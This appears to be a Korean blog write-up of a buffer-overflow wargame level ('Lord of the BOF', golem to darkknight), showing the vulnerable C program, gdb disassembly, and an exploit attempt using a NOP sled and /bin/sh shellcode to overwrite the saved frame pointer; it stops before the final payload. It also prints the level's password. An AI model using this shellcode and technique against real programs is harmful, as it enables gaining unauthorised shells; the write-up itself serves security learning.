본문 바로가기
컴퓨터/bof 원정대

bof 원정대 level 12 golem -> darkknight

by 싱판다 2012. 2. 12.
id : golem / pw : cup of coffee

[golem@localhost golem]$ cat darkknight.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
        char buffer[40];
        strncpy(buffer, src, 41);
        printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
        if(argc<2){
                printf("argv error\n");
                exit(0);
        }

        problem_child(argv[1]);
}

함수를 써서 받는데 strncpy를 써서 글을 41글자만 받는다는 것을 확인할 수 있다.
따라서 이번에는 buffer("\x90"*16+shellcode) | sftp (nop버퍼 주소 이용) 으로 공격할 수 있도록 해야할 것이다.

gdb를 통하여 살펴보도록 하겠다.

[golem@localhost tmp]$ gdb -q darkknight
(gdb) disas problem_child
Dump of assembler code for function problem_child:
0x8048440 <problem_child>:      push   %ebp
0x8048441 <problem_child+1>:    mov    %esp,%ebp
0x8048443 <problem_child+3>:    sub    $0x28,%esp
0x8048446 <problem_child+6>:    push   $0x29
0x8048448 <problem_child+8>:    mov    0x8(%ebp),%eax
0x804844b <problem_child+11>:   push   %eax
0x804844c <problem_child+12>:   lea    0xffffffd8(%ebp),%eax
0x804844f <problem_child+15>:   push   %eax
0x8048450 <problem_child+16>:   call   0x8048374 <strncpy>
0x8048455 <problem_child+21>:   add    $0xc,%esp
0x8048458 <problem_child+24>:   lea    0xffffffd8(%ebp),%eax
0x804845b <problem_child+27>:   push   %eax
0x804845c <problem_child+28>:   push   $0x8048500
0x8048461 <problem_child+33>:   call   0x8048354 <printf>
0x8048466 <problem_child+38>:   add    $0x8,%esp
0x8048469 <problem_child+41>:   leave
0x804846a <problem_child+42>:   ret
0x804846b <problem_child+43>:   nop
End of assembler dump.

[golem@localhost tmp]$ gdb -q darkknight
(gdb) b * problem_child+41
Breakpoint 1 at 0x8048469
(gdb)  r `python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x80"'` 
 (gdb) x/64x $esp-4
0xbffffaa0:     0xbffffaa4      0x90909090      0x90909090      0x90909090
0xbffffab0:     0x90909090      0x6850c031      0x68732f2f      0x69622f68
0xbffffac0:     0x50e3896e      0x99e18953      0x80cd0bb0      0xbffffa80
0xbffffad0:     0x0804849e      0xbffffc37      0xbffffaf8      0x400309cb
0xbffffae0:     0x00000002      0xbffffb24      0xbffffb30      0x40013868
0xbffffaf0:     0x00000002      0x08048390      0x00000000      0x080483b1

buffer - 4 부분에 buffer의 주소가 있기 때문에 (printf 함수인자) 따로 넣어줄 필요 없이 sfp를 buffer-8의 주소로 만들면 된다.
주소의 시작을 0xbffffa9c로 잡고 한다면

 

댓글